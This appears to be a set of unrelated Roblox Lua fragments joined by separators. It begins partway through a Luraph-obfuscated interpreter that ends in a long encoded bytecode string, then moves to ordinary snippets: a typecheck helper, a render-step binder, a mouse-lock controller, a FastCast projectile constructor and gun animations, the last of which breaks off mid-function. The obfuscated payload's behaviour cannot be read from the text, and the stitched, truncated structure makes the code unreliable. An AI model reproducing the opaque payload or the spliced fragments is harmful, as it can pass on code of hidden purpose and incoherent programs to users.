IiIi11i11ililiIlIil = II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] local l1i1lIlIi1lii1ilIiI = IiIi11i11ililiIlIil[20051] ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 if l1i1lIlIi1lii1ilIiI < 10 then if l1i1lIlIi1lii1ilIiI >= 5 then if l1i1lIlIi1lii1ilIiI < 7 then if l1i1lIlIi1lii1ilIiI == 6 then lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1] = nil local iI11i1IIIl1l1ilIii1 = IiIi11i11ililiIlIil[130555] local llilIii11i1l1li1llI = IiIi11i11ililiIlIil[36151] if llilIii11i1l1li1llI == 1 then return true end local lil1ii11lIllilI1iii = iI11i1IIIl1l1ilIii1 + llilIii11i1l1li1llI - 2 if llilIii11i1l1li1llI == 0 then lil1ii11lIllilI1iii = ll1iIIll1iiIi1II1Il end return true, iI11i1IIIl1l1ilIii1, lil1ii11lIllilI1iii elseif not not IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] == (IiIi11i11ililiIlIil[36691] == 0) then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 end elseif l1i1lIlIi1lii1ilIiI >= 8 then if l1i1lIlIi1lii1ilIiI == 9 then if IiIi11i11ililiIlIil[36691] == 200 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 6, [130555] = (IiIi11i11ililiIlIil[130555] - 199) % 256, [36151] = (IiIi11i11ililiIlIil[36151] - 199) % 256 } else local iIli1I1IIllIi1IIIii = IiIi11i11ililiIlIil[130555] local lIli11i1I1llIi11il1lI = {} for III1I1l1iilli1lIiil, III1i1Ii1Il1ilIi1iI in pairs(lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1]) do for III1I1l1iilli1lIiil, iliI1iI1l1l1IliII1l in pairs(III1i1Ii1Il1ilIi1iI) do if iliI1iI1l1l1IliII1l[1] == IIlii1illiiiIii1il1 and iIli1I1IIllIi1IIIii <= iliI1iI1l1l1IliII1l[2] then local iiIIl1IlIi1IiI11i1I = iliI1iI1l1l1IliII1l[2] if not lIli11i1I1llIi11il1lI[iiIIl1IlIi1IiI11i1I] then il11i1iIIillI11lii1(llii1ilI1II1Il1i1il, IIlii1illiiiIii1il1[iiIIl1IlIi1IiI11i1I]) lIli11i1I1llIi11il1lI[iiIIl1IlIi1IiI11i1I] = #llii1ilI1II1Il1i1il end iliI1iI1l1l1IliII1l[1] = llii1ilI1II1Il1i1il iliI1iI1l1l1IliII1l[2] = lIli11i1I1llIi11il1lI[iiIIl1IlIi1IiI11i1I] end end end end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = #IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]] end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = (IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]) - (IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]) end elseif l1i1lIlIi1lii1ilIiI < 2 then if l1i1lIlIi1lii1ilIiI == 1 then IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]][IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]] else local IlI111iilI1lllil111 = IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]] IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555] + 1] = IlI111iilI1lllil111 IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = IlI111iilI1lllil111[IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]] end elseif l1i1lIlIi1lii1ilIiI >= 3 then if l1i1lIlIi1lii1ilIiI == 4 then lI1Il1Ii1I1liIIi1Ii[IiIi11i11ililiIlIil[67984]] = IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = illil1I1iIIlliil1Il[IiIi11i11ililiIlIil[36151]] end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = IiIi11i11ililiIlIil[67984] end elseif l1i1lIlIi1lii1ilIiI >= 15 then if l1i1lIlIi1lii1ilIiI >= 18 then if l1i1lIlIi1lii1ilIiI < 19 then local iI11i1IIIl1l1ilIii1 = IiIi11i11ililiIlIil[130555] local lIlIIli1liII1I1II1i1i = IiIi11i11ililiIlIil[36151] local Iii1ll1Ilii111li11i = IiIi11i11ililiIlIil[36691] local lIlIliiI1lIIIiIi1iIli, lil1ii11lIllilI1iii, l11iiIllIIlI1liIIil if lIlIIli1liII1I1II1i1i ~= 1 then if lIlIIli1liII1I1II1i1i ~= 0 then lil1ii11lIllilI1iii = iI11i1IIIl1l1ilIii1 + lIlIIli1liII1I1II1i1i - 1 else lil1ii11lIllilI1iii = ll1iIIll1iiIi1II1Il end lil1ii11lIllilI1iii, lIlIliiI1lIIIiIi1iIli = lIiIIiIli1illl11lIl(IIlii1illiiiIii1il1[iI11i1IIIl1l1ilIii1](iIiiII1IiI1lil1l1l1(IIlii1illiiiIii1il1, iI11i1IIIl1l1ilIii1 + 1, lil1ii11lIllilI1iii))) else lil1ii11lIllilI1iii, lIlIliiI1lIIIiIi1iIli = lIiIIiIli1illl11lIl(IIlii1illiiiIii1il1[iI11i1IIIl1l1ilIii1]()) end if Iii1ll1Ilii111li11i ~= 1 then if Iii1ll1Ilii111li11i ~= 0 then lil1ii11lIllilI1iii = iI11i1IIIl1l1ilIii1 + Iii1ll1Ilii111li11i - 2 ll1iIIll1iiIi1II1Il = lil1ii11lIllilI1iii + 1 else lil1ii11lIllilI1iii = lil1ii11lIllilI1iii + iI11i1IIIl1l1ilIii1 - 1 ll1iIIll1iiIi1II1Il = lil1ii11lIllilI1iii end l11iiIllIIlI1liIIil = 0 for ll1i1IiIlIiIIIiIiIi = iI11i1IIIl1l1ilIii1, lil1ii11lIllilI1iii do l11iiIllIIlI1liIIil = l11iiIllIIlI1liIIil + 1 IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = lIlIliiI1lIIIiIi1iIli[l11iiIllIIlI1liIIil] end else ll1iIIll1iiIi1II1Il = iI11i1IIIl1l1ilIii1 - 1 end for ll1i1IiIlIiIIIiIiIi = ll1iIIll1iiIi1II1Il + 1, iI1I1I1IiiI1illiI1l do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = nil end elseif l1i1lIlIi1lii1ilIiI ~= 20 then local lIlIIIlIi1i1iII1iIili = lIllII111lii1iiIl1liI[IiIi11i11ililiIlIil[123859]] local iI1iIl1lIilli1li1lI = {} if lIlIIIlIi1i1iII1iIili[IiI1IIlllililIIllli] > 0 then do local III1i1Ii1Il1ilIi1iI = {} iI1iIl1lIilli1li1lI = llI1II1li1l1I1I11Ii({}, { __index = function(lIlill1IIliIlliI1lI, lii11I1lll1lii1I1I1) local iliI1iI1l1l1IliII1l = III1i1Ii1Il1ilIi1iI[lii11I1lll1lii1I1I1] return iliI1iI1l1l1IliII1l[1][iliI1iI1l1l1IliII1l[2]] end, __newindex = function(lIlill1IIliIlliI1lI, lii11I1lll1lii1I1I1, iI11IiI1lil1l1llII1) local iliI1iI1l1l1IliII1l = III1i1Ii1Il1ilIi1iI[lii11I1lll1lii1I1I1] iliI1iI1l1l1IliII1l[1][iliI1iI1l1l1IliII1l[2]] = iI11IiI1lil1l1llII1 end }) for ll1i1IiIlIiIIIiIiIi = 1, lIlIIIlIi1i1iII1iIili[IiI1IIlllililIIllli] do local i1ll11iii1IiiIiIiI1 = II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] if i1ll11iii1IiiIiIiI1[IIIl11Illl1illilIil] == I1IiilliiIil1liI1Ii then III1i1Ii1Il1ilIi1iI[ll1i1IiIlIiIIIiIiIi - 1] = { IIlii1illiiiIii1il1, i1ll11iii1IiiIiIiI1[lIlIIlIli1II11l11IIll] } elseif i1ll11iii1IiiIiIiI1[IIIl11Illl1illilIil] == llIIl1IIIiIiIIili1i then III1i1Ii1Il1ilIi1iI[ll1i1IiIlIiIIIiIiIi - 1] = { illil1I1iIIlliil1Il, i1ll11iii1IiiIiIiI1[lIlIIlIli1II11l11IIll] } end ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 end if not lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1] then lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1] = {III1i1Ii1Il1ilIi1iI} else lIl1Ii1iIlllliil1IIil(lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1], III1i1Ii1Il1ilIi1iI) end end end local I1Iilli11lIIIillilI = il11i1iIIillI11lii1(lIlIIIlIi1i1iII1iIili, lI1Il1Ii1I1liIIi1Ii, iI1iIl1lIilli1li1lI) IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = I1Iilli11lIIIillilI else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = { iIiiII1IiI1lil1l1l1(i1il111IilllIiIIilI, 1, IiIi11i11ililiIlIil[36151] == 0 and 255 or IiIi11i11ililiIlIil[36151]) } end elseif l1i1lIlIi1lii1ilIiI < 16 then local II1I1II1lIiI1liiIi1 = IiIi11i11ililiIlIil[130555] if not not II1I1II1lIiI1liiIi1 == (IiIi11i11ililiIlIil[36691] == 0) then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = II1I1II1lIiI1liiIi1 end elseif l1i1lIlIi1lii1ilIiI ~= 17 then IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = (IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]) * (IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]) else ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + (IiIi11i11ililiIlIil[123859] - liilIllIlil1iiI11II) end elseif l1i1lIlIi1lii1ilIiI < 12 then if l1i1lIlIi1lii1ilIiI == 11 then IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]][IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]] = IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]] else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = lI1Il1Ii1I1liIIi1Ii[IiIi11i11ililiIlIil[67984]] end elseif l1i1lIlIi1lii1ilIiI >= 13 then if l1i1lIlIi1lii1ilIiI == 14 then if IiIi11i11ililiIlIil[36691] == 21 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 13, [130555] = (IiIi11i11ililiIlIil[130555] - 34) % 256, [36151] = (IiIi11i11ililiIlIil[36151] - 34) % 256 } elseif IiIi11i11ililiIlIil[36691] == 6 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 8, [130555] = (IiIi11i11ililiIlIil[130555] - 3) % 256, [36151] = (IiIi11i11ililiIlIil[36151] - 3) % 256 } else local iI11i1IIIl1l1ilIii1 = IiIi11i11ililiIlIil[130555] local li1l111i1liIllI1lI1 = IiIi11i11ililiIlIil[36151] local l1lllIiiiiIl1lIlIiI = li1l111i1liIllI1lI1 > 0 and li1l111i1liIllI1lI1 - 1 or Iili1IlIIlilI1iI1Ii - lIlIIiiIiil11llillIlI if l1lllIiiiiIl1lIlIiI < 0 then l1lllIiiiiIl1lIlIiI = -1 end for ll1i1IiIlIiIIIiIiIi = iI11i1IIIl1l1ilIii1, iI11i1IIIl1l1ilIii1 + l1lllIiiiiIl1lIlIiI do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = lIlIIli1liII1I1II1i1i[lIlIIiiIiil11llillIlI + (ll1i1IiIlIiIIIiIiIi - iI11i1IIIl1l1ilIii1) + 1] end if li1l111i1liIllI1lI1 == 0 then ll1iIIll1iiIi1II1Il = iI11i1IIIl1l1ilIii1 + l1lllIiiiiIl1lIlIiI for ll1i1IiIlIiIIIiIiIi = ll1iIIll1iiIi1II1Il + 1, iI1I1I1IiiI1illiI1l do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = nil end end end elseif IiIi11i11ililiIlIil[36691] == 199 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 5, [130555] = (IiIi11i11ililiIlIil[130555] - 100) % 256, [36691] = (IiIi11i11ililiIlIil[36151] - 100) % 256 } else for ll1i1IiIlIiIIIiIiIi = IiIi11i11ililiIlIil[130555], IiIi11i11ililiIlIil[36151] do IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = nil end end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = (IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]) / (IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]) end end end local lllIIil1ll1Ili111i1, II1Ill111ii1l1iliil, iIli1I1IIllIi1IIIii, lIIiI1lll1IIiliIllI = IiiiillI1i1ill111lI(l11iiIllIIlI1liIIil) if lllIIil1ll1Ili111i1 then if iIli1I1IIllIi1IIIii then return iIiiII1IiI1lil1l1l1(IIlii1illiiiIii1il1, iIli1I1IIllIi1IIIii, lIIiI1lll1IIiliIllI) end else IiII1ll11lliIiill1I("Luraph Script:" .. (iIiiIili1liiIi1ilI1[ili1lIiIlllI1iIllll - 1] or "") .. ": " .. lIli1l1iilliiiillIIl1(II1Ill111ii1l1iliil), 0) end end l1lilll11i11lIIi1Ii(l1IiIlil1i1lIIIllIl, lI1Il1Ii1I1liIIi1Ii) return l1IiIlil1i1lIIIllIl end local lIli11i1I1llIi11il1lI = liil11lIIl1liIIl1l1() return il11i1iIIillI11lii1(lIli11i1I1llIi11il1lI, lI1Il1Ii1I1liIIi1Ii)() end lIlIlllIiili1iliI11li("LPH!8A090B222H043000340300032H007A2H0087B05423E486240DA0660A0200A32H090B4DF12HF0BC3H531F3HA2B23H0D25852H84CC3HB7AF875F82635H00950A020065C95H00E49440097D3D6FE8405571184FD9CCC07A5822E0013H00872H004069C97AF762087CD3EC0A0200B3411614522HE3E1A9332H38102HCBC98F002H0A222H2527252F0C0E487F6E6F5B4241BFFA02292B6DAB2HA088F6D3D197113230768BC765D52HF6F4BCFC2HF7DF2H6664227B2H71592H080A08C9DBD99F8A5B5A6E494AB4F12HDCDE98752H7F570B170C22B72HB9912H707234E92HE3CB8882868A92827C39293BC580122D8F3FB5B2B6FE658F90342HD8DA9C2HEBE9AFA8AAA8EE4E2H456D4253ADE82H8D8FC7512H5E7606494B2H0D4042042HF1F3BBD02HD2FA2H0D0F499E2H94BC170D15172B0604429B2H91B92HA8AAA82HFBF9BF1DD072C22HD7D59DB4EC615B989F9B972HAEACEADFF351E12H121058002H032B2822206628B715A56760642C43A9B6122H5654122H2123659087793C002H0B232H4A480E6F2H654D49554E60A6AFADEB2HFEFCBA632H6941E1E0E4E82H131157707372462F292D652H343670941DBF0FA7A4A6EE074EB0F5462H48602H1B195F902H9AB2FFF5F1FDB5E31D5838BEBF8BB2B14F0AF8F9FBBD3HB0FC292H230BCD2HC2EAAFBDBFF9140406404E472H4F2HF6F4B2D74041751B1C18502B0B292B2HEAE8AED1AF0DBDEEE8ECA42H30CE8BFB100FAB2H898BCD2H8082C4AECC32771C2H123A85B24C09DE2HD4FC91A856134C2H466ED2D1D5F92HE8EAAC313B3F133E3A32122H151751B6BCB4947820DE9B4B11EFAA132H1931585054782H4341076862664AD9DDD5F52HA4A6E06D676F4F2A6997D2DB9E602559AD688339C6A25431FE79B9AC40B6BCD87E3CDCF5FC81D3BD1FC17CC8610AAD1725E763B38F505F4FBEF689D15CD25B03827H00093H000A9H002H000A9H006H000F3H00109H006H00033H00049H002H00049H009H005H00023H00039H002H00039H006H00013H00019H002H00013H00027H00043H00079H002H000A3H000D9H002H000D9H002H00109H002H00103H00113H000E9H002H000E3H000F9H002H00073H00079H002H00073H00089H002H00089H006H000F9H002H000F9H002H000F7H00099H002H00099H009H009H00019H002H000D9H002H000D3H000D9H002H000D7H000D9H002H000D3H000E9H009H001H00019H002H00019H009H005H00079H002H00079H009H001H00A50A0200D9800B3H008A9F6C316AC6A3812048CDC92H0040E622EDF44180083H0039F62B189A7BC299800B3H0041BEB3607787463120F45E80093H00A80DAABFFC2327AD84800C3H00157247D41D7F38597F56AA7880043H0061DED380C99A5H99B93F80093H00250257640CD429A75F800E3H00CADFAC713C967E66F7158210550EC98H00800A3H00583D5AEF4FE28C9AD031FB800E3H0022778489811E9C1E8F8DBAF8ED6680083H003055B28763F83FFF800C3H00785D7A0F2EC06976B11023FB800C3H00A4A9E69B411E596B99D5C74CB1E0472CD6411D08711ECE431F694005AB4H00FB0E7938AF118C66", liI11IIlil1lIIIilI1())
|
--[[**
ensures value is either nil or passes check
@param check The check to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.optional(check)
assert(t.callback(check))
return function(value)
if value == nil then
return true
end
local success, errMsg = check(value)
if success then
return true
else
return false, string.format("(optional) %s", errMsg or "")
end
end
end
|
--[=[
Binds the given update function to [RunService.RenderStepped].
```lua
local spring = Spring.new(0)
local maid = Maid.new()
local startAnimation, maid._stopAnimation = StepUtils.bindToRenderStep(function()
local animating, position = SpringUtils.animating(spring)
print(position)
return animating
end)
spring.t = 1
startAnimation()
```
:::tip
Be sure to call the disconnect function when cleaning up, otherwise you may memory leak.
:::
@param update () -> boolean -- should return true while it needs to update
@return (...) -> () -- Connect function
@return () -> () -- Disconnect function
]=]
|
function StepUtils.bindToRenderStep(update)
return StepUtils.bindToSignal(RunService.RenderStepped, update)
end
|
-- SOUND SETTINGS
|
local Indicator_Stack_On = 6212970852 -- ID for the indicator stack being on.
local Indicator_Stack_Off = 6212970338 -- ID for the indicator stack being off.
local Indicator_Click_On = 6212969851 -- ID for the indicator state being on.
local Indicator_Click_Off = 6212969290 -- ID for the indicator state being off.
|
--[[ The Module ]]
|
--
local MouseLockController = {}
MouseLockController.__index = MouseLockController
function MouseLockController.new()
local self = setmetatable({}, MouseLockController)
self.isMouseLocked = false
self.savedMouseCursor = nil
self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults
self.mouseLockToggledEvent = Instance.new("BindableEvent")
local boundKeysObj = script:FindFirstChild("BoundKeys")
if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
-- If object with correct name was found, but it's not a StringValue, destroy and replace
if boundKeysObj then
boundKeysObj:Destroy()
end
boundKeysObj = Instance.new("StringValue")
boundKeysObj.Name = "BoundKeys"
boundKeysObj.Value = "LeftShift,RightShift"
boundKeysObj.Parent = script
end
if boundKeysObj then
boundKeysObj.Changed:Connect(function(value)
self:OnBoundKeysObjectChanged(value)
end)
self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
end
-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
GameSettings.Changed:Connect(function(property)
if property == "ControlMode" or property == "ComputerMovementMode" then
self:UpdateMouseLockAvailability()
end
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
self:UpdateMouseLockAvailability()
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:UpdateMouseLockAvailability()
end)
self:UpdateMouseLockAvailability()
return self
end
function MouseLockController:GetIsMouseLocked()
return self.isMouseLocked
end
function MouseLockController:GetBindableToggleEvent()
return self.mouseLockToggledEvent.Event
end
function MouseLockController:GetMouseLockOffset()
local offsetValueObj = script:FindFirstChild("CameraOffset")
if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
return offsetValueObj.Value
else
-- If CameraOffset object was found but not correct type, destroy
if offsetValueObj then
offsetValueObj:Destroy()
end
offsetValueObj = Instance.new("Vector3Value")
offsetValueObj.Name = "CameraOffset"
offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
offsetValueObj.Parent = script
end
if offsetValueObj and offsetValueObj.Value then
return offsetValueObj.Value
end
return Vector3.new(1.75,0,0)
end
function MouseLockController:UpdateMouseLockAvailability()
local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable
if MouseLockAvailable~=self.enabled then
self:EnableMouseLock(MouseLockAvailable)
end
end
function MouseLockController:OnBoundKeysObjectChanged(newValue)
self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
for token in string.gmatch(newValue,"[^%s,]+") do
for keyCode, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
if token == keyEnum.Name then
self.boundKeys[#self.boundKeys+1] = keyEnum
break
end
end
end
self:UnbindContextActions()
self:BindContextActions()
end
|
-- Ctor
|
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast
if typeof(velocity) == "number" then
velocity = direction.Unit * velocity
end
if castDataPacket.HighFidelitySegmentSize <= 0 then
error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0)
end
-- Basic setup
local cast = {
Caster = caster,
-- Data that keeps track of what's going on as well as edits we might make during runtime.
StateInfo = {
UpdateConnection = nil,
Paused = false,
TotalRuntime = 0,
DistanceCovered = 0,
HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize,
HighFidelityBehavior = castDataPacket.HighFidelityBehavior,
IsActivelySimulatingPierce = false,
IsActivelyResimulating = false,
CancelHighResCast = false,
Trajectories = {
{
StartTime = 0,
EndTime = -1,
Origin = origin,
InitialVelocity = velocity,
Acceleration = castDataPacket.Acceleration
}
}
},
-- Information pertaining to actual raycasting.
RayInfo = {
Parameters = castDataPacket.RaycastParams,
WorldRoot = workspace,
MaxDistance = castDataPacket.MaxDistance or 1000,
CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down.
CanPierceCallback = castDataPacket.CanPierceFunction
},
UserData = {}
}
if cast.StateInfo.HighFidelityBehavior == 2 then
cast.StateInfo.HighFidelityBehavior = 3
end
if cast.RayInfo.Parameters then
cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)
else
cast.RayInfo.Parameters = RaycastParams.new()
end
local usingProvider = false
if not castDataPacket.CosmeticBulletProvider then
-- The provider is nil. Use a cosmetic object clone.
if cast.RayInfo.CosmeticBulletObject then
cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer
end
else
-- The provider is not nil.
-- Is it what we want?
if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then
-- this modded version of typeof is implemented up top.
-- Aside from that, yes, it's a part cache. Good to go!
if cast.RayInfo.CosmeticBulletObject ~= nil then
-- They also set the template. Not good. Warn + clear this up.
warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.")
cast.RayInfo.CosmeticBulletObject = nil
castDataPacket.CosmeticBulletTemplate = nil
end
cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
usingProvider = true
else
warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.")
castDataPacket.CosmeticBulletProvider = nil
end
end
local targetContainer: Instance;
if usingProvider then
targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent
else
targetContainer = castDataPacket.CosmeticBulletContainer
end
if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then
local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances
if table.find(ignoreList, targetContainer) == nil then
table.insert(ignoreList, targetContainer)
cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList
end
end
local event
if RunService:IsClient() then
event = RunService.RenderStepped
else
event = RunService.Heartbeat
end
setmetatable(cast, ActiveCastStatic)
cast.StateInfo.UpdateConnection = event:Connect(function (delta)
if cast.StateInfo.Paused then return end
PrintDebug("Casting for frame.")
local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]
if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then
local timeAtStart = tick()
if cast.StateInfo.IsActivelyResimulating then
cast:Terminate()
error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.")
end
cast.StateInfo.IsActivelyResimulating = true
-- Actually want to calculate this early to find displacement
local origin = latestTrajectory.Origin
local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local initialVelocity = latestTrajectory.InitialVelocity
local acceleration = latestTrajectory.Acceleration
local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
cast.StateInfo.TotalRuntime += delta
-- Recalculate this.
totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.
local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta
local targetWorldRoot = cast.RayInfo.WorldRoot
local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters)
local point = currentPoint
if resultOfCast then
point = resultOfCast.Position
end
local rayDisplacement = (point - lastPoint).Magnitude
-- Now undo this. The line below in the for loop will add this time back gradually.
cast.StateInfo.TotalRuntime -= delta
-- And now that we have displacement, we can calculate segment size.
local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments
local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments
if (numSegmentsReal == 0) then
numSegmentsReal = 1
end
local timeIncrement = delta / numSegmentsReal
for segmentIndex = 1, numSegmentsReal do
if getmetatable(cast) == nil then return end -- Could have been disposed.
if cast.StateInfo.CancelHighResCast then
cast.StateInfo.CancelHighResCast = false
break
end
PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement)
SimulateCast(cast, timeIncrement, true)
end
if getmetatable(cast) == nil then return end -- Could have been disposed.
cast.StateInfo.IsActivelyResimulating = false
if (tick() - timeAtStart) > 0.016 * 5 then
warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.")
end
else
SimulateCast(cast, delta, false)
end
end)
return cast
end
function ActiveCastStatic.SetStaticFastCastReference(ref)
FastCast = ref
end
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
